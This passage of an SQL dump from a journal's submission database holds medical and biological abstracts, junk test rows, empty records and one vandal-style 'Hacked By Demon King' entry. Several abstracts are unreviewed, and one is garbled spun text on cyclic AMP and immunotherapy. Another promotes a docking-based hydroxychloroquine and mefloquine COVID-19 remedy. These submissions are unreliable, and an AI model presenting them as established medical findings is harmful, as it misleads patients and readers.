gariepinus) were investigated in this study. Juvenile fish (n=360), weighing 19.60±0.10g were randomly allocated to six diets containing varied supplemental combinations of lysine+DL-methionine (g/100g) in the formulated basal roasted soyabean based diets (RSBD) ; R1 (without supplemental lysine and DL-methionine), R2 (0+1), R3 (0.25+0.75), R4 (0.5+0.5), R5 (0.75+0.25), R6 (1+0) supplemental L-lysine+DL-methionine, respectively. The fish were fed to satiation with the diets for 12 weeks. Each treatment was in triplicate.  Results revealed that the diets had no significant influence (P>0.05) on fish final weight and feed conversion ratio. Gross protein retention of fish on R3 (1.01±0.04) and R5 (0.97±0.04) were similar. The crude protein composition of C. gariepinus whole body on R5 (70.03±1.60) and R3 (68.39±1.46) were not significantly difference (p>0.05) but significantly higher than other diets. Supplemental amino acid significantly increased the methionine composition (P<0.05) with the higher value of 2.42±0.04 in fish on R4 and least value of 2.12±0.02 in those on R2. C. gariepinus on R5 (10.69±0.01) had a significantly higher (P<0.05) lysine value and least in those in control (6.94±0.04) diet. Regression of crude protein of fish whole body and supplemental lysine and methionine were both quadratic with the optimum dietary inclusion levels 0.6g/100g (R2= 0.79) and 0.4g/100g (R2=0.76), respectively. In conclusion, dietary supplement of lysine and methionine in roasted soyabean based diets had no impact on growth performance but enhanced the body composition of C. gariepinus.','Supplemental lysine and methionine, Limiting amino acid, Roasted soyabean, Clarias gariepinus.',1776,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(7880,9095,975,0,'','ALVEOCOCCUS MULTILOCULARIS (LEUCKART, 1858; ABULADSE, 1960) PREVALENCE, SOURCES AND FACTORS OF PATHOGEN TRANSMISSION IN THE ARCTIC ZONE OF YAKUTIA','',14,3,'','This article presents data on the study of the ecological and epizootic situation of the helminth Alveococcus multilocularis, which is particularly dangerous for humans and animals. The main sources and factors of transmission of Alveococcus in susceptible animals and the regularity of the circulation of pathogens in natural foci in the Arctic are determined. According to the results of research, they have a rather dangerous epizootic potential and at any time it is possible to aggravate the epizootic situation. Therefore, the resumption of studies in natural foci of alveolar Echinococcosis is highly relevant, therefore, a study taking into account natural-climatic conditions and socio-economic change in Yakutia and features ofdistribution Alveococcus multilocularis, it is also necessary to reduce infection in domestic animals and humans.','Alveococcus multilocularis, Echinococcus multilocularis, pathogen, human, Alopex lagopus, Vulpes vulpes, Canis familaris, Muridae, Arctic, Yakutia.',4089,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(8243,9408,91,0,'','A Computational and Literature-Based Evaluation for a Combination of Chiral Anti-CoV Drugs to Block and Eliminate SARS-CoV-2 Safely','',14,3,'Resolution of second wave of coronavirus','It has been a great challenge for scientists to develop an anti-covid drug/vaccine with fewer side effects, since the coronavirus began. Of course, the prescription of chiral drugs (chloroquine or hydroxychloroquine) has been proved wrong because these chiral drugs neither kill the virus nor eliminate it from the body, but block SARS-CoV-2 from binding to human cells. Another hurdle in front of the world, is not only the positive test of the patient recovered from coronavirus but also the second wave of Covid 19. Hence, the word demands such a drug or drug combination which not only prevents the entry of SARS-CoV-2 in the human cell but also eliminates it or its material from the body completely. The presented computational study explains (i) why the prescription of chiral drugs was not satisfactory (ii) what types of modification can make their prescription satisfactory (iii) the mechanism of action of chiral drugs (chloroquine and hydroxychloroquine) to block SARS-CoV-2 from binding to human cells, and (iv) the strength of mefloquine to eliminate SARS-CoV-2. As the main protease (Mpro) of microbes is considered as an effective target for drug design and development, the binding affinities of mefloquine with the main protease (Mpro) of JC virus and SARS-CoV-2, were calculated, and then compared to know the eliminating strength of mefloquine against SARS-CoV-2. The main protease (Mpro) of JC virus was taken because mefloquine has already shown a tremendous result of eliminating it from the body. The current study includes the docking results and literature data in support of the prescription of a combination of S-(+)-hydroxychloroquine and (+) mefloquine. Besides, the presented study also confirms that the prescription of only hydroxychloroquine would not be so effective as in combined form with mefloquine.','Chiral drugs, S-(+)-hydroxychloroquine, (+) mefloquine, computational study and SARS-CoV-2.',4774,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(10731,11321,959,0,'','Brief note on Usage of Biochemicals in Immunotherapy ','',17,3,'','For quite a while, wonder of faulty safe observation in malignancy patients from neurotic stance was not clarified. I have detailed 1985 that bringing down cyclic AMP is biochemical explanation of faulty safe observation from receptive lymphocyte immunotherapy explore among malignant growth patients. As of late, why T cell don\'t assault malignancy cells by the covering of PD-L1 on its receptor of PD-1. This is additionally one of damaged resistant reconnaissance from cell side. I have as of late reviewed the connection between\'s cyclic AMP focus and safe movement in malignancy patients. I have affirmed the biochemical explanation of bringing cyclic AMP drives down to faulty resistant observation in disease patient\'s serum.','Biochemical, lymphocyte, T cell receptor, cyclic AMP',3162,'','2021-12-03',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-10',1),(12532,12802,639,0,'','Tes','',24,0,'Tes','Tes','Tes\r\n',5330,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12533,12802,639,0,'','Yoi','',1,0,'Hyh','Gg','Bh',1770,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12534,12802,639,0,'','Jdjdj','',4,1,'Hshs','Jsn','Hshs',1777,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12535,12802,639,0,'','T','',4,1,'G','G','G',1777,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12536,12802,639,0,'','Hhhh','',3,1,'Jhh','Hhh','Bb',1770,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12537,12802,639,0,'','Jhj','',4,1,'Nn','B','B',1770,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12538,12802,639,0,'','K','',3,0,'J','H','B',1770,'','2022-02-23',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12541,12802,639,0,'','Jjjjj','',19,1,'Hhh','Hhh','Hhh',1777,'','2022-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12542,12802,639,0,'','Hhh','',14,1,'6g','Bb','Hhh',3206,'','2022-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12546,12802,639,0,'','B','',3,1,'G','Hz','Gs',3206,'','2022-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12545,12809,975,0,'','An Acute Mylogenous Leukemia GATA 1 Mutation Case Study','',2,0,'','Congenital conditions like Down syndrome have been associated with increased risk for clonal disorders that affect megakaryocytic lineage.  The World Health Organization (WHO) has classified Acute Myeloid Leukemia – Down Syndrome (ML-DS) as a specific subtype of AML. Recent studies show that children with ML-DS have a better prognosis than children without Down syndrome with a long-term survival rate of 74-91%.  One possible explanation for the improved prognosis has been attributed to the GATA1 mutation commonly found with Down syndrome.  This case study followed the course of diagnosis and treatment of a 17-month old patient with ML-DS and confirmed GATA1 mutation. The patient received two rounds of a chemotherapy treatment which included a combination chemotherapy regime with intrathecal chemotherapy to prevent relapse.  Within one month of treatment, the patient was in remission and has remained with negative minimal residual disease (MRD) to date.  ','',5108,'','2022-02-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12549,12802,639,0,'','Nsns','',9,1,'Bsbs','Hshs','Hshs',1770,'','2022-02-25',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12649,12920,996,0,'','Clinical characteristics of lymphoma development in primary Sjogren\'s syndrome. A single center experience','',2,0,'','Background/Objective: There is a well-known relationship between SjÓ§gren’s syndrome (pSS) and an increased risk of lymphoma. We investigated the prevalence of lymphoma in a single center cohort of patients with pSS. We report on clinical presentation, response to treatment, and outcome. \r\nMethods:  We conducted a medical records review of 129 patients diagnosed with pSS followed at our institution from June 2000 until September 2020, identifying 7 cases of malignant lymphoma.  Clinical and biological markers known to be predictors of lymphoma in patients with pSS were examined.  Last follow-up, survival status, date of diagnosis and type of lymphoma, clinical staging, and final outcome (remission, relapse(s), progressive disease, and death) were recorded.  \r\nResults: The most common biologic finding included the presence of ANA positivity. Hypergammaglobulinemia, rheumatoid factor, and lymphopenia were found in more than half of patients.  Median age at diagnosis was 54 years with 6 lymphomas identified as non-Hodgkin’s subtype.  Staging at the time of diagnosis disclosed disease limited to the primary site in 5 cases, while metastatic in 2 cases.  Median follow-up from the time of lymphoma diagnosis to the last visit, or the patient’s death, was 11 years (range 2 months-26 years).  \r\nConclusion: Risk of lymphoma appears to increase with disease duration and is maintained at high levels years after pSS diagnosis. In addition, there were several patients who experienced a relapse of their lymphoma. The sustained risk justifies the need for routine monitoring for features of lymphoma over a long duration of time.\r\n','SjÓ§gren’s syndrome, lymphoma, SjÓ§gren’s syndrome (pSS)',3649,'','2022-03-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-10',1),(12576,12845,667,0,'','Relationship between tumor-associated macrophages and epithelialization of esophageal squamous cell carcinoma and its possible mechanism','',14,0,'','Tumor-associated macrophages (TAMs) are essential components of the tumor microenvironment (TME). TAMs can exist as M1 (classically activated macrophages) or M2 (alternatively activated macrophages. M1 macrophages are pro-inflammatory and antitumor, whereas M2 macrophages are involved in tumorigenesis and wound healing. Herein, we investigated the relationship between TAMs and epithelialization of esophageal squamous cell carcinoma (ESCC) (a concept borrowed from the epithelialization of a wound), and the mechanism contributing to epithelialization. \r\nTHP-1 cells were differentiated into M1 and M2 macrophages and used to investigate their effects on KYSE 150 cells in vitro. We also investigated the expression of vimentin and E-cadherin and the concentration of TGF-?1 in the co-culture groups.\r\nM2 macrophages were positively correlated with the epithelialization of KYSE 150 cells. We found that after co-culturing with M2 macrophages, the expression of vimentin (mesenchymal marker) in KYSE 150 cells was increased and the expression of E-cadherin (epithelial marker) was suppressed, M2 macrophages do this via secretion of transforming growth factor-?1 (TGF-?1). The concentration of TGF-?1 in the M2-coculture supernatant was increased. The results from the M1-coculture were directly opposite. Elevation of vimentin and suppression of E-cadherin promotes the initiation of epithelial-mesenchymal transition, which promotes the epithelialization of ESCC. Clearing macrophages from the TME or inducing M2 TAMs to M1 TAMs may be a promising therapeutic target for ESCC.','Esophageal Squamous cell Carcinoma. M1 and M2 macrophages. Tumor-associated macrophages. Epithelialization. Epithelial-mesenchymal transition. Migration. Metastasis. Vimentin. E-cadherin. Transforming growth factor-?1.',3933,'','2022-03-04',NULL,'Submitted',18,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-14',1),(12580,12849,975,0,'','Evaluation of Early Term Results of Endovascular Procedures Performed With Retrograde Popliteal Artery Intervention','',15,3,'Vascular Medicine','Background\r\nFemoral access is practically the most utilized access point in a patient for transcatheter interventions, though subclavian and direct aortic access are also alternatives that are on the rise to some extent. In this retrospective study we wanted to explore the viability of retrograde popliteal access in patients with chronic total occlusion of superficial femoral arteries due to the anatomical availability of the artery.\r\nObjective\r\nWe aimed to deduce whether retrograde popliteal access(RPA) is a viable treatment option in chronic occlusion of superficial femoral arteries.\r\nMethod\r\nFrom June 2017 to February 2019, 27 patients in total(21 men,63±5) underwent balloon dilatation via retrograde popliteal access under duplex ultrasound(DUS). Age, gender, tobacco use, comorbid diseases were all noted for each subject. Subjects were for a year postoperatively. They were reevaluated 1st, 6th and 12th months after the procedure for restenosis.  \r\nResults\r\nIn %100 of 27 subjects successfull RPA was achieved. The initial success of balloon angioplasty was noted as %96,296. During the regular follow ups claudication, rest pain and toe ulcers were noted to improve significantly. Ankle-brachial index changed from 0.52 ± 0.11 to 0.93 ± 0.2 at 1 year after intervention ( p < .001) , although patency rates at 1, 6, 12 months after the procedure were %96,296, %92,593, %88,89 respectively. The noted restenosis cases were reendovascular procedures. Patients with tobacco use, comorbid diseases(COPD, hyperlipiemia, chronic renal failure) were noted to be at higher risk of restenosis.\r\nConclusion\r\nRPA under DUS guidance has been exhibited to be an effective method in treating chronic total occlusion of superficial femoral arteries due to its high procedural success and low morbidity rates. Tobacco use and comorbid diseases were found to be factors that interfere with RPA balloon dilatation failure.','Vascular, Angioplasty, Popliteal, Intervention',3677,'','2022-03-04',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-03-21',1),(12639,12849,975,0,'','A Retrospective Review on Early Term Results of Endovascular Procedures Performed With Retrograde Popliteal Artery Intervention','',15,0,'','Background\r\nFemoral access is practically the most utilized access point in a patient for transcatheter interventions, though subclavian and direct aortic access are also alternatives that are on the rise to some extent. In this retrospective study we wanted to explore the viability of retrograde popliteal access in patients with chronic total occlusion of superficial femoral arteries due to the anatomical availability of the artery.\r\nObjective\r\nWe aimed to deduce whether retrograde popliteal access(RPA) is a viable treatment option in chronic occlusion of superficial femoral arteries.\r\nMethod\r\nFrom June 2017 to February 2019, 27 patients in total(21 men,63±5) underwent balloon dilatation via retrograde popliteal access under duplex ultrasound(DUS). Age, gender, tobacco use, comorbid diseases were all noted for each subject. Subjects were for a year postoperatively. They were reevaluated 1st, 6th and 12th months after the procedure for restenosis.  \r\nResults\r\nIn %100 of 27 subjects successfull RPA was achieved. The initial success of balloon angioplasty was noted as %96,296. During the regular follow ups claudication, rest pain and toe ulcers were noted to improve significantly. Ankle-brachial index changed from 0.52 ± 0.11 to 0.93 ± 0.2 at 1 year after intervention ( p < .001) , although patency rates at 1, 6, 12 months after the procedure were %96,296, %92,593, %88,89 respectively. The noted restenosis cases were reendovascular procedures. Patients with tobacco use, comorbid diseases(COPD, hyperlipiemia, chronic renal failure) were noted to be at higher risk of restenosis.\r\nConclusion\r\nRPA under DUS guidance has been exhibited to be an effective method in treating chronic total occlusion of superficial femoral arteries due to its high procedural success and low morbidity rates. Tobacco use and comorbid diseases were found to be factors that interfere with RPA balloon dilatation failure.','Vascular, Angioplasty, Balloon dilatation, Popliteal access, Superficial Femoral Artery',4089,'','2022-03-07',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-21',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-21',1),(12648,12919,975,0,'','Reactivation of HCMV and Associated  risk factors among HIV-1 Positive Individuals on Highly Active Anti Retroviral Therapy in Addis Ababa, Ethiopia.','',14,0,'','Abstract\r\nBackground: The end result of human immunodeficiency virus (HIV) is the depletion of the immune system that leads to opportunistic infection (OIs) like HCMV. Sero-prevalence of human cytomegalovirus (HCMV) infection in HIV-infected patients is high, more than 95% in immune compromised people even in the era of highly active antiretroviral therapy (HAART). \r\nObjectives: The objective of this study was to assess the sero-prevalence and associated risk factors for the reactivation of HCMV infection among HIV-1 patients on HAART and to identify the common associated risk factors on these populations.  \r\nStudy design: A cross sectional study design on the samples of HIV-1 patients on HAART was taken place. This study was carried out using PCR abbot system (Abbot System) for the determination of HIV-1/viral load (RNA copies/ml) and chemiluminescent Micro particle   immunoassay (CMIA) for the qualitative detection of IgG and IgM antibody to HCMV in human plasma.  \r\nResult: Out of the total 76 participants recruited for this study 46(60%) were female participants 30(40%) were male participants median age was 38.5, mean age 37.5, and the most frequent age was 40.The HCMV sero-prevalence (anti-HCMV IgG) was 76/76(100%) and 3/76(3.9%) for anti-HCMV IgM. \r\nConclusion: Previous history of lower CD4 or recent CD4 decrease as well as higher HIV-1/viral load was not significantly related (p> 0.05) (p = 0.317 for IgM) to HCMV positivity. Rather other previous immunologic and clinical profiles were correlated (p< 0.05). The highest HCMV prevalence shows the endemicity of the virus and serological tests for HCMV should be taken into account as a diagnostic tool. \r\n','Key words: reactivation; risk factors; cytomegalovirus; sero-prevalence; chemiluminescent Micro particle assay; immune compromised.',3460,'','2022-03-08',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-21',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-03-21',1),(12677,12940,277,0,'','DETERMINACIÓN DE DIAGNÓSTICOS DE PACIENTES INGRESADOS AL SERVICIO DE URGENCIAS DE UN HOSPITAL INFANTIL EN COLOMBIA POR INTENTO DE SUICIDIO Y SU RELACIÓN CON ALTERACIONES DE SALUD MENTAL','',2,0,'','Suicide is recognized as a prominent public health problem, both globally and in the Latin American and Caribbean region characterizes the population of patients admitted to the emergency department of the Napoleón Franco Pareja Children\'s Hospital for attempted suicide during the annual period 2018 and the first half of 2019.','Suicide, Child, Hospital, Mental health',5351,'','2022-03-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-03-23',1),(12682,12945,73,0,'','New mechanism of DNMT3L revealed in a Down syndrome study','',3,3,'','NA','',357,'','2022-03-24',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-03-28',1),(12702,12966,45,0,'','Hacked By Demon King ','',1,0,'','dsadsads','',5361,'','2022-04-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-05',1),(12704,12968,45,0,'','wdawdawawddawd','',5,0,'dawdwa','addwada','dawd',5361,'','2022-04-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-05',1),(12722,12983,73,0,'','Biomimetics of some active sites for non-heme iron enzyme: future approach','',14,3,'Clinical Neurology and Cognitive Neuroscience','Pterin-dependent oxygenases, represented by aryl amino acid hydroxylases, are a small family of closely related enzymes essential for physiological processes that use tetrahydrobiopterin (BH4) as a cofactor. This class of enzymes includes phenylalanine hydroxylase (PAH), tyrosine hydroxylase (TH), and tryptophan hydroxylase (TPH) that perform aromatic hydroxylations of the corresponding amino acid, leading to the biosynthesis of several biogenic neurotransmitters such as serotonin, which are known to be involved in several physiological processes are [1-12]. Questions of enzymology have been the subject of several detailed articles. [13-17] Three-dimensional structures by X-ray diffraction are available for characterization of each of these three enzymes. [18-20],These three enzymes are homotetrameric, contain mononuclear iron, and use dioxygen and tetrahydrobiopterin as substrates in the hydroxylation reaction','Pterin-dependent oxygenases, Tryptophan hydroxylase ,Tyrosine hydroxylase',327,'','2022-04-12',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-04-13',1),(12736,12598,73,0,'','Chorea revealing celiac disease: cause or coincidence?','',2,3,'','Introduction:  A number of neurological disorders have been reported to be associated with celiac disease including ataxia, epilepsy, peripheral neuropathy and rarely chorea. \r\nCase report: I reported the case of a patient aged 43 years presents for choreic movements of brutal appearance. All the etiologic report was negative except serology of celiac disease positive etiology and gastric biopsy confirming the disease.  \r\nThe evolution was marked by the disappearance of chorea following the gluten-restricted diet.\r\nDiscussion: Despite the nature of association is unclear, celiac disease may be a treatable cause of chorea.',': Chorea, celiac disease, anti-gliadin antibodies.',334,'','2022-04-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-04-21',1),(12740,9267,45,0,'','CARACTERIZACIÓN DE LOS PACIENTES CON MIASTENIA GRAVIS JUVENIL DE UN  HOSPITAL UNIVERSITARIO DE REFERENCIA EN COLOMBIA.','',15,3,'','RESUMEN:\r\nINTRODUCCIÓN: La miastenia gravis juvenil (MGJ), es una entidad poco común, de la que no se cuenta con suficiente información. Esta patología cuenta con características propias y una reconocida variabilidad demográfica. Las consecuencias de no ser diagnosticada y tratada a tiempo pueden ser graves y su tratamiento se basa en lo observado en adultos. \r\nOBJETIVO: Caracterizar sociodemográfica y clínicamente la población de niños diagnosticados con MGJ en un hospital universitario de referencia en Colombia.\r\nMETODOLOGÍA: Estudio observacional retrospectivo, en el que se analizarón los registros me?dicos de los pacientes hospitalizados en el Hospital Universitario San Vicente Fundación (HUSVF) de la ciudad de Medellín, Colombia, desde enero de 2011 a diciembre de 2017. \r\nRESULTADOS: Se incluyeron las historias cli?nicas de 23 pacientes (14 mujeres). La edad media de inicio fue de 9,1 años. 15 (65,2%) se encontraban el periodo prepuberal. El tipo de miastenia ocular fue el más frecuente, principalmente en prepúberes. La crisis miasténica (CM) se presentó en 5 pacientes (21,7%), predominantemente en pospúberes. Se encontró una diferencia significativa entre el grupo de edad y el tipo de presentación; y una tendencia para presentar trastornos psiquiátricos según el sexo y la edad. \r\nCONCLUSIONES: Para el conocimiento de los autores éste es el primer estudio de caracterización de pacientes con MGJ en Colombia. El diagnóstico se dio principalmente en los pacientes prepúberes, y el sexo femenino se vio más afectado en ambos grupos etarios. Similar a lo encontrado en otras latitudes, el tipo ocular se presentó con mayor frecuencia. La proporción de pacientes con CM fue mayor a lo reportado. En este estudio se encontró, que pertenecer al grupo prepúber puede aumentar el riesgo de presentar MGO. La comorbilidad autoinmune no fue frecuente, y el rendimiento de las diferentes ayudas diagnósticas es bueno. Los medicamentos y líneas de manejo se ajustan a las recomendaciones dadas, sin embargo se necesitan más estudios y un tamaño de muestra más significativo.','PALABRAS CLAVE: Acetilcolina, inmunosupresores, enfermedad autoinmune, enfermedad neuromuscular,  miastenia gravis, timectomía.',689,'','2022-04-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-04-23',1),(12741,9267,45,0,'','DETERMINACIÓN DE DIAGNÓSTICOS DE PACIENTES INGRESADOS AL SERVICIO DE URGENCIAS DE UN HOSPITAL INFANTIL EN COLOMBIA POR INTENTO DE SUICIDIO Y SU RELACIÓN CON ALTERACIONES DE SALUD  MENTAL','',14,3,'','INTRODUCCIÓN: El suicidio se reconoce como un problema destacado de salud\r\npública, tanto globalmente, como en la región de Latinoamérica y el Caribe.\r\nOBJETIVO: Caracterizar la población de pacientes ingresados al servicio de urgencias\r\ndel Hospital Infantil Napoleón Franco Pareja por intento de suicidio durante el periodo\r\nanual 2018 y primer semestre del 2019\r\nMETODOLOGÍA: Estudio descriptivo de corte transversal, en el que se analizaron los\r\nregistros médicos de los pacientes ingresados al Hospital Infantil Napoleón Franco\r\n\r\nPareja de la ciudad de Cartagena, Colombia, durante el periodo anual de 2018 y primer\r\nsemestre del 2019 por intento de suicidio.\r\nRESULTADOS: A pesar que en 2018 la población fue mayor que en el año en curso,\r\npor el tiempo estudiado, es evidente que sigue aumentando la tasa de mortalidad\r\ntomando como referencia que la mayoría de los mismos ya han presentado episodios\r\nprevios, siendo ingresados por el servicio en estos dos años un porcentaje del 73%,\r\nanalizando que de los 74 pacientes, 72 tienen antecedentes de salud mental,\r\ncorrespondiendo a un 97% de la población, prevaleciendo la toma de medicamentos\r\ncomo como instrumento o arma para suicidarse, correspondiendo a un 45% de la\r\npoblación, seguido de un 12% al uso de químicos y 5% por uso de armas\r\ncortopunzantes.','PALABRAS CLAVES: Suicidio, Infantil, Hospital, Salud mental.',652,'','2022-04-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-04-23',1),(12744,9267,45,0,'','EVALUACIÓN DE LOS NIVELES SERICOS DE VITAMINA D EN PACIENTES INFECTADOS CON COVID 19 EN UN HOSPITAL','',14,0,'','Introducción: La enfermedad originada por el covid 19 es una patologia que afecta\r\nno solo al sistema respiratorio, sino que también conduce a falla multiorgánica. Hasta\r\nla fecha actual en que se redacta este manuscrito, no existe ningun tratamiento eficaz\r\npara contrarrestarla, la prevención es la única forma de reducir el número de\r\ninfectados y muertes product de esta. Los bajos niveles séricos de vitamina D se han\r\nasociado con una mayor susceptibilidad a la infección por la covid 19. Sin embargo, no\r\nhay evidencia concluyente sobre el papel de la vitamina D en esta infección.\r\n\r\nObjetivos del estudio: El objetivo de este estudio fue evaluar los niveles de vitamina\r\nD en pacientes infectados co la covid 19 y analizar su relacion con el curso de la\r\nenfermedad.\r\nMateriales y métodos: Se seleccionaron y analizaron retrospectivamente un total de\r\n160 historias clínicas de pacientes con COVID-19 de un hospital de Colombia. La\r\nrecolección de datos se llevó a cabo en el período comprendido entre el 09/4/2020 y el\r\n09/04/2021.\r\nResultados: La mediana de edad de los pacientes con covid 19 fue de 60 años. Los\r\nniveles de vitamin D fueron bajos en los pacientes con infectados con la covid 19, con\r\nuna mediana de 15,2 ng / ml, pero por otro lado los niveles de ferritina sérica fueron\r\naltos en todos los pacientes con covid 19 con una mediana de 720,9 ng / ml.\r\nEstadisticamente se pudo concluir que existe una tasa significativamente más alta de\r\ndesarrollar una forma grave de covid 19 en hombres en comparación con las mujeres,\r\nvalor de p &lt;0,001.\r\nEl nivel de vitamina D en suero fue significativamente menor en los pacientes con\r\ncovid 19 en comparación con el grupo control con un valor de p &lt;0,001. Se detectó\r\nuna mayor reducción en los niveles de vitamin D en la forma mas severa de la\r\nenfermedad (valor de p 0.042). Y existieron niveles significativamente más bajos de\r\nvitamina D y niveles más altos de ferritina en los casos severos de covid-19, valores de\r\np 0.018 y 0.001, respectivamente.\r\nConclusiones: Se pudo llegar a la conclusion que los niveles bajos de vitamina D en\r\nsuero se asociaron significativamente con un mayor riesgo de adquirir una infección\r\npor covid 19 y desarrollar un curso mas grave de la enfermedad, que puede conducir\r\nincluso a la muerte. Por lo cual la suplementación con vitamina D proporcionaria\r\n\r\nniveles sericos de vitamina D para que se pueda prevenir la infección o minimizar la\r\ngravedad del covid 19.\r\nPalabras clave: covid 19, deficiencia, vitamina D.','Palabras clave: covid 19, deficiencia, vitamina D.',4825,'','2022-04-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-04-23',1),(12754,12598,73,0,'','Chorea revealing celiac disease: cause or coincidence?','',2,3,'','Introduction:  A number of neurological disorders have been reported to be associated with celiac disease including ataxia, epilepsy, peripheral neuropathy and rarely chorea. \r\nCase report: I reported the case of a patient aged 43 years presents for choreic movements of brutal appearance. All the etiologic report was negative except serology of celiac disease positive etiology and gastric biopsy confirming the disease.  \r\nThe evolution was marked by the disappearance of chorea following the gluten-restricted diet.\r\nDiscussion: Despite the nature of association is unclear, celiac disease may be a treatable cause of chorea.','Chorea, celiac disease, anti-gliadin antibodies',5377,'','2022-04-25',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-04-26',1),(12749,9267,45,0,'','Enfoque de manejo del paciente EN ESTADO CRÍTICO.','',6,0,'','Las conductas en la unidad de cuidado crítico son el pilar fundamental para disminuir la morbimortalidad de los 